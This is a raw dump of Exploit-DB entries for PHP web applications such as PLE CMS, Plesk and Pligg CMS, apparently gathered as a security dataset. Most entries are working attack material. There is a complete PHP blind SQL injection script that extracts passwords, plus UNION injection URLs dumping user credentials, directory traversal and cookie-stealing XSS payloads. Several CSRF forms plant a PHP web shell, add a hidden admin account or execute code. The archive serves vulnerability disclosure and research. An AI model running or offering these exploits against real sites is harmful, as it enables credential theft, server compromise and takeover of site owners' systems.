deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7917
Description: PLE CMS 1.0 Beta 4.2 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-01-29
Author: darkjoker

Exploit:
--+++==============================================================+++--
--+++====== PLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit ======+++--
--+++==============================================================+++--

<?php

function query ($user, $pos, $chr)
{
	$query = "123 OR ASCII(SUBSTRING((SELECT password FROM users WHERE userID = '{$user}'),{$pos},1))={$chr}";
	$query = str_replace (" ", "%20", $query);
	$query = str_replace ("'", "%27", $query);
	return $query;
}

function exploit ($hostname, $path, $user, $pos, $chr)
{
	$chr = ord ($chr);
	$fp = fsockopen ($hostname, 80);

	$get =  "GET {$path}/login.php?school=" . query ($user, $pos, $chr) . " HTTP/1.1\r\n".
		"Host: {$hostname}\r\n".
		"Connection: Close\r\n\r\n";
	
	fputs ($fp, $get);

	while (!feof ($fp))
		$x .= fgets ($fp, 1024);


	fclose ($fp);
	
	if (preg_match ("/ERROR: School not found!/", $x))
		return false;
	else
		return true;
}

function usage ()
{
	exit (
		"\nPLE CMS 1.0 beta 4.2 Blind SQL Injection Exploit".
		"\n[+] Author: darkjoker".
		"\n[+] Site  : http://darkjoker.net23.net".
		"\n[+] Download: http://kent.dl.sourceforge.net/sourceforge/plecms/plecms_beta4_2.zip".
		"\n[+] Usage   : php xpl.php <hostname> <path> <username> <key>".
		"\n[+] Ex.     : php xpl.php localhost /PLECMS root abcdefghijklmnopqrstuvwxyz[PII_REDACTED]".
		"\n\n");
}

if ($argc < 4)
	usage ();

$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
$key = (empty ($argv [4])) ? "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ[PII_REDACTED]" : $argv [4];
$chr = 0;
$pos = 1;

print "\n[+] Password: ";

while ($chr < strlen ($key))
{
	if (exploit ($hostname, $path, $user, $pos, $key [$chr]))
	{
		echo $key [$chr];
		$chr = 0;
		$pos++;
	}
	else
		$chr++;
}

print "\n\n";

# milw0rm.com [2009-01-29]
Exploit-DB #28647
Description: PLESK 7.5/7.6 - 'FileManager.php' Directory Traversal
Type: webapps
Platform: php
Date: 2006-09-22
Author: GuanYu

Exploit:
source: https://www.securityfocus.com/bid/20155/info

PLESK is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input. 

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

Versions 7.5 Reload (and prior) and 7.6 for Windows are vulnerable to this issue; other versions may also be affected.

https://www.example.com:8443/filemanager/filemanager.php?cmd=chdir&file=../
Exploit-DB #29017
Description: Plesk 7.5/8.0 - 'get_password.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-14
Author: David Vieira-Kurz

Exploit:
source: https://www.securityfocus.com/bid/21067/info

Plesk is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input data.

Exploiting these issues may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.

Plesk 8.0.1 and prior versions are vulnerable.

http://www.example.com:8443/get_password.php/>"><ScRiPt>alert(15031988)</ScRiPt>
Exploit-DB #29018
Description: Plesk 7.5/8.0 - 'login_up.php3' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-11-14
Author: David Vieira-Kurz

Exploit:
source: https://www.securityfocus.com/bid/21067/info
 
Plesk is prone to multiple HTML-injection vulnerabilities because it fails to sufficiently sanitize user-supplied input data.
 
Exploiting these issues may allow an attacker to execute HTML and script code in the context of the affected site, to steal cookie-based authentication credentials, or to control how the site is rendered to the user; other attacks are also possible.
 
Plesk 8.0.1 and prior versions are vulnerable.

http://www.example.com:8443/login_up.php3/>"><ScRiPt>alert(15031988)</ScRiPt>
Exploit-DB #29898
Description: plesk 8.1.1 - 'login.php3' Directory Traversal
Type: webapps
Platform: php
Date: 2007-04-25
Author: anonymous

Exploit:
source: https://www.securityfocus.com/bid/23639/info

Plesk is prone to a directory-traversal vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to retrieve arbitrary files from the vulnerable system in the context of the affected application. Information obtained may aid in further attacks.

https://www.example.com/login.php3?login_name=x&[CREDENTIAL_REDACTED]_id=../../../../../../../../boot.ini%00.jpg
Exploit-DB #27692
Description: Plexum PlexCart X5 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2006-04-19
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/17617/info

Plexum is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Version X5 is vulnerable; other versions may also be affected.

http://www.example.com/plexum.php?section=webstats&page=hits&startpos=15&maxrec=457&pagesize=[SQL]

http://www.example.com/plexum.php?section=webstats&page=hits&startpos=450&maxrec=[SQL]

http://www.example.com/plexum.php?section=webstats&page=hits&startpos=[SQL]
Exploit-DB #36270
Description: Plici Search 2.0.0.Stable.r.1878 - 'p48-search.html' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-10-28
Author: 599eme Man

Exploit:
source: https://www.securityfocus.com/bid/50428/info

Plici is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary HTML and script code in an unsuspecting user's browser in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

http://www.example.com/l1/p48-search.html[XSS]
Exploit-DB #34339
Description: Pligg CMS 1.0.4 - 'search.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-07-15
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/41729/info

Pligg is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Pligg 1.0.4 is vulnerable; other versions may also be affected. 

http://www.example.com/search/1"><script>alert(document.cookie)</script>
Exploit-DB #12436
Description: Pligg CMS 1.0.4 - 'story.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-04-28
Author: Don Tukulesto

Exploit:
/**************************************************************************

[!] Pligg CMS (story.php?id) SQL Injection Vulnerability
[!] Author	: Don Tukulesto (root@indonesiancoder.com)
[!] Homepage: http://indonesiancoder.com
[!] Date	: Tue, April 27, 2010
[!] Tune in	: http://antisecradio.fm (choose your weapon)

**************************************************************************/

[ Software Information ]

[>] Vendor	: http://www.pligg.com/
[>] Download: http://www.pligg.com/download/
[>] Name 	: Social Networking Software
[>] Version : 1.0.4 and previous
[>] License : GPL
[>] Type	: Non-Commercial ( open source CMS )
[>] Method	: SQL Injection

========================================================

[ Expl0!T ]

http://server/path/story.php?id=2+AND+1=2+UNION+SELECT+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(user_login,0x3a,user_pass),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+pligg_users--

[ Proof of Concept ]

http://[site]/story.php?id=2+AND+1=2+UNION+SELECT+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,concat(user_login,0x3a,user_pass),17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34+from+pligg_users--

========================================================

[ Cheers ]

[>] Hussin X found bugs at Plig CMS Version 9.9.0. See reference:
    http://www.exploit-db.com/exploits/6146
[>] Indonesian Coder Team - AntiSecurity - ServerIsDown - SurabayaHackerLink
[>] My brother M364TR0N - kaMtiEz - Gonzhack - El N4ck0 - ibl13Z - arianom - YaDoY666 - ./Jack-
[>] neng elv1n4 - xshadow - SAINT - Cyb3r_tr0n - M3NW5 - Pathloader - Mboys - Contrex - amxku - inj3ct0r
[>] xnitro @xtremenitro.org - DraCoola - r3m1ck - Senot - ran - CherCut - Ghambass - CyberSector 31
[>] James Brown & Todd @packetstormsecurity.org - Maksymilian & sp3x @securityreason.com

[ Notes ]

[>] WE ARE ONE UNITY, WE ARE A CODER FAMILY, AND WE ARE INDONESIAN CODER TEAM
Exploit-DB #34596
Description: Pligg CMS 1.0.4 - SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-09-03
Author: Bogdan Calin

Exploit:
source: https://www.securityfocus.com/bid/42967/info

Pligg CMS is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Pligg CMS 1.0.4 is vulnerable; other versions may also be affected. 

The following example URIs are available:

http://www.example.com//pliggcms_1_0_4/login.php?email=sql'injection&processlogin=3&return=%2fpliggcms_1_0_4%2f
http://www.example.com/pliggcms_1_0_4/user.php?category=%22%20onmouseover%3dprompt%28938687%29%20bad%3d%22&id=&keyword=Search..&login=&module=&page=&search=&view=search
Exploit-DB #36495
Description: Pligg CMS 1.1.2 - 'status' SQL Injection
Type: webapps
Platform: php
Date: 2011-12-29
Author: SiteWatch

Exploit:
source: https://www.securityfocus.com/bid/51273/info

Pligg CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Pligg CMS 1.1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/Audits/CMS/pligg_1.1.2/search.php?adv=1&status='and+sleep(9)or+sleep(9)or+1%3D' &search=on&advancesearch= Search+&sgroup=on&stags=0&slink=on&scategory=on&scomments=0&suser=0
Exploit-DB #15824
Description: Pligg CMS 1.1.2 - Blind SQL Injection / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-12-25
Author: Michael Brooks

Exploit:
Credit: Michael Brooks

Special thanks to Eric Heikkinen for patching these quickly.

Blind SQL Injection
http://host/pligg_1.1.2/search.php?adv=1&status=
'and+sleep(9)or+sleep(9)or+1%3D' &search=on&advancesearch= Search
+&sgroup=on&stags=0&slink=on&scategory=on&scomments=0&suser=0

XSS:
http://host/pligg_1.1.2/?xss='onmouseover=alert(1);//
http://host/pligg_1.1.2/?search=" onclick=alert(1) a=
Exploit-DB #35145
Description: Pligg CMS 1.1.3 - 'range' SQL Injection
Type: webapps
Platform: php
Date: 2010-12-27
Author: Dr.NeT

Exploit:
source: https://www.securityfocus.com/bid/45578/info

Pligg CMS is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Pligg CMS 1.1.3 is vulnerable; other versions may also be affected. 

http://www.example.com/cloud.php?range={SQL}
Exploit-DB #36496
Description: Pligg CMS 1.1.4 - 'SERVER[php_self]' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2011-12-29
Author: SiteWatch

Exploit:
source: https://www.securityfocus.com/bid/51274/info

Pligg CMS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Pligg CMS 1.1.4 is vulnerable; other versions may also be affected. 

http://www.example.com/demo/search/')%7B%7Dalert('xss');if('
Exploit-DB #17301
Description: Pligg CMS 1.1.4 - SQL Injection
Type: webapps
Platform: php
Date: 2011-05-17
Author: Null-0x00

Exploit:
# Exploit Title: Pligg <= 1.1.4 SQL injection
# Date: 03/23/2011
# Author: Null-0x00
# Software Link: http://pligg.com/
# Version: <= 1.1.4
# Websites: zenk-security.com & hackerzvoice.net


# Description #

An SQL Injection has been found on /rsssearch.php in pligg CMS 1.1.4. Prior
versions (works on 1.1.3) might also be vulnerables.

The $_REQUEST['category'] is not sanitized properly, and is used in a SQL
request in a WHERE clause. The resulting request can be :

SELECT pligg_links.link_id AS link_id, [...] FROM pligg_links LEFT JOIN
pligg_groups ON pligg_links.link_group_id = pligg_groups.group_id WHERE 1
AND ( [...] AND pligg_links.link_category = 123 or 1=1)# ) AND
pligg_links.link_status IN ('published','queued')


# Test #

To make this request happen, use this URL :

http://WEBSITE/pligg/rsssearch.php?search=test&adv=1&scategory=123+or+1=1%29%23

This can be used to retrieve information such as the admin's password hash,
etc.

Have a nice day, Null
Exploit-DB #37311
Description: Pligg CMS 1.x - 'module.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-05-23
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/53662/info

Pligg CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Pligg CMS 1.2.2 is vulnerable; other versions may also be affected.

http://www.example.com/module.php?module=captcha&action=configure&captcha=math&q_1_low=%22%3E%3Cs cript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/module.php?module=captcha&action=configure&captcha=math&q_1_high=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/module.php?module=captcha&action=configure&captcha=math&q_2_low=%22%3E%3Cs cript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/module.php?module=captcha&action=configure&captcha=math&q_2_high=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #27600
Description: Pligg CMS 2.0.0rc2 - Cross-Site Request Forgery (File Creation)
Type: webapps
Platform: php
Date: 2013-08-15
Author: DaOne

Exploit:
---------------------------------------------------
# Exploit Title: Pligg CMS - CSRF Vulnerability
# Author: DaOne
# Vendor Homepage: http://pligg.com/
# Download link: https://github.com/Pligg/pligg-cms/archive/2.0.0rc2.zip
# Category: webapps/php
# Version: 2.0.0rc2 + old versions
---------------------------------------------------

-Create File by CSRF Exploit-
<html>
<body onload="document.form.submit();">
<form action="http://[target]/pligg/admin/admin_editor.php" method="post" name="form">
<input type="hidden" name="updatedfile" value="<?php system($_REQUEST['cmd']); ?>">
<input type="hidden" name="the_file2" value="/var/www/html/pligg/backd00r.php">
<input type="hidden" name="isempty" value="1">
<input type="hidden" name="save" value="Save+Changes">
</form>
</body>
</html>

# Exploit-DB Note:
# If getting a Wrong Referrer error, use Live HTTP Headers or Tamper Date plugin
# to mitigate the issue.
Exploit-DB #38241
Description: Pligg CMS 2.0.2 - 'load_data_for_search.php' SQL Injection
Type: webapps
Platform: php
Date: 2015-09-18
Author: jsass

Exploit:
# Exploit Title: Pligg CMS 2.0.2 SQL injection
# Date: 29-08-2015
# Exploit Author: jsass
# Vendor Homepage: http://pligg.com
# Software Link: https://github.com/Pligg/pligg-cms/archive/2.0.2.zip
# Version: 2.0.2
# Tested on: kali sana 2.0

################ Q8 Gray Hat Team ################



SQLInjection

File : load_data_for_search.php


 $search = new Search();
	
	if(isset($_REQUEST['start_up']) and $_REQUEST['start_up']!= '' and $_REQUEST['pagesize'] != ''){
		
		$pagesize = $_REQUEST['pagesize'];
		$start_up = $_REQUEST['start_up'];
		$limit = " LIMIT $start_up, $pagesize";	
	}
	if(isset($_REQUEST['sql']) and $_REQUEST['sql']!= ''){
		$sql = $_REQUEST['sql'];
		$search->sql = $sql.$limit;
	}
	
	$fetch_link_summary = true;
	$linksum_sql = $sql.$limit;

Exploit : http://localhost/pligg-cms-master/load_data_for_search.php?sql={SQLi}

Type Injection : Boolean & Time Based 

Use SQLmap To Inject ..

Demo : http://www.pligg.science/load_data_for_search.php?sql={SQLi}


################ Q8 Gray Hat Team ################

Great's To : sec4ever.com && alm3refh.com
Exploit-DB #37894
Description: Pligg CMS 2.0.2 - Arbitrary Code Execution
Type: webapps
Platform: php
Date: 2015-08-20
Author: Arash Khazaei

Exploit:
<!--
# Exploit Title: Pligg CMS Arbitrary Code Execution
# Google Dork: intext:"Made wtih Pligg CMS"
# Date: 2015/8/20
# Exploit Author: Arash Khazaei
# Vendor Homepage: http://pligg.com
# Software Link:
https://github.com/Pligg/pligg-cms/releases/download/2.0.2/2.0.2.zip
# Version: 2.0.2
# Tested on: Kali , Iceweasel Browser
# CVE : N/A
# Contact : http://twitter.com/0xClay
# Mail : 0xclay@gmail.com
# Site : http://bhunter.ir

# Description :

# Pligg CMS Is A CMS Writed In PHP Language And Licensed Under GPL V 2.0
# In Pligg CMS Panel In Adding Page Section Pligg CMS Allow To Admin Add
PHP Codes In {php} {/php} Tags
# A CSRF Vulnerabilty In Adding Page Section Allow To Attacker To Execute
PHP Codes On Server .
# In This Exploit I Just Added a echo '<h1> Hacked </h1>'; Code You Can
Customize Exploit For Your Self .

# Exploit :
-->

<html>
<body onload="document.exploit.submit();">
<form action="http://localhost/pligg-cms/admin/submit_page.php"
method="POST" id="thisform" name="exploit">
<input type="hidden" name="page_title" id="page_title"
size="66"value="Hacked"/>
<input type="hidden" name="page_url" id="page_url" size="66"
value="Hacked"/>
<input type="hidden" name="page_keywords" id="page_keywords" size="66"
value="Hacked"/>
<input type="hidden" name="page_description" id="page_description"
size="66" value="Hacked"/>
<textarea type="hidden"id="textarea-1" name="page_content"
class="form-control page_content" rows="15"> {php}echo '<h1> Hacked </h1>';
{/php} &lt;/textarea&gt;
<input type="hidden" name="process" value="new_page" />
<input type="hidden" name="randkey" value="12412532" />
</form>
</body>
</html>

<!--
# After HTML File Executed You Can Access Page In
http://localhost/pligg-cms/page.php?page=Hacked


# Discovered By Arash Khazaei . (Aka JunkyBoy (Nick Name Changed :P ))
-->
Exploit-DB #37955
Description: Pligg CMS 2.0.2 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2015-08-24
Author: Arash Khazaei

Exploit:
<!--
# Exploit Title: Pligg CMS CSRF Add Admin Exploit
# Google Dork: intext:"Made wtih Pligg CMS"
# Date: 2015/8/20
# Exploit Author: Arash Khazaei
# Vendor Homepage: http://pligg.com
# Software Link:
https://github.com/Pligg/pligg-cms/releases/download/2.0.2/2.0.2.zip
# Version: 2.0.2
# Tested on: Kali , Iceweasel Browser
# CVE : CVE-2015-6655
# Contact : http://twitter.com/0xClay
# Mail : 0xclay@gmail.com
# Site : http://bhunter.ir

# Description :

# Pligg CMS Is A CMS Written In PHP Language And Licensed Under GPL V 2.0
# In Pligg CMS Panel In Adding Users Section Pligg CMS Allow To Attacker
Add Admin By CSRF
# Vulnerability In Add Users Sections . Another Thing Is Added Admin By
CSRF Vulnerability
# Can't Deleted By Admin :) And Admin Should Delete It From Database .

# Exploit :
-->
<body onload="document.exploit.submit();">
<form action="http://localhost/pligg-cms-master/admin/admin_users.php"
method="post" id="createUserForm" name="exploit" onsubmit="return
checkValidation()">
<input name="username" type="text" class="form-control" id="username"
value="hacker"  onchange="checkUsername(this.value)" />
<input name="email" type="text" class="form-control" id="email" value="
hacker@hacker.com" onchange="checkEmail(this.value)"/>
<select name="level">
<option value="admin">Admin</option>
</select>
<input name="password" type="text" class="form-control" id="password"
value="hacker123" onchange="checkPassword(this.value)"/>
<input type="hidden" name="mode" value="newuser">
<input type="submit" class="btn btn-primary" value="Create User"/>

</form>
<!--

Timeline :
21/5/2015 Reported To Developer Team .
22/5/2015 No Responde From Developer Team.
22/5/2015 Request CVE
23/5/2015 Published Vulnerability


# Note: Change The Values Of Exploit To Another Thing :)

# Discovered By Arash Khazaei . (Aka JunkyBoy (Nick Name Changed :P ))

-->
Exploit-DB #38579
Description: Pligg CMS 2.0.2 - Cross-Site Request Forgery / Code Execution
Type: webapps
Platform: php
Date: 2015-10-30
Author: Curesec Research Team

Exploit:
Security Advisory - Curesec Research Team

1. Introduction

Affected Product:    Pligg CMS 2.0.2
Fixed in:            not fixed
Fixed Version Link:  n/a
Vendor Website:      http://pligg.com/
Vulnerability Type:  Code Execution & CSRF
Remote Exploitable:  Yes
Reported to vendor:  09/01/2015
Disclosed to public: 10/07/2015
Release mode:        Full Disclosure
CVE:                 n/a
Credits              Tim Coen of Curesec GmbH

2. Vulnerability Description

The file editor provides the possibility to edit .tpl files stored in the
templates directory.

But the file editor is vulnerable to directory traversal when saving files, and
it does not check the submitted filename against a whitelist of allowed files.
It also does not check the file extension. Because of this, it is possible to
gain code execution.

Admin credentials are required to access the file editor, but the request does
not have CSRF protection, so an attacker can gain code execution by getting the
admin to visit a website they control while logged in.

3. Proof of Concept


POST /pligg-cms-master/admin/admin_editor.php HTTP/1.1

the_file2=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fvar%2Fwww%2Fhtml%2Fpligg-cms-master%2F404.php&updatedfile=<?php passthru($_GET['x']); ?>&isempty=1&save=Save+Changes

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

09/01/2015 Informed Vendor about Issue (no reply)
09/22/2015 Reminded Vendor of disclosure date
09/22/2015 Vendor replied, issue has been send to staff
09/29/2015 Reminded Vendor of disclosure date (no reply)
10/07/2015 Disclosed to public


Blog Reference:
http://blog.curesec.com/article/blog/Pligg-CMS-202-Code-Execution--CSRF-80.html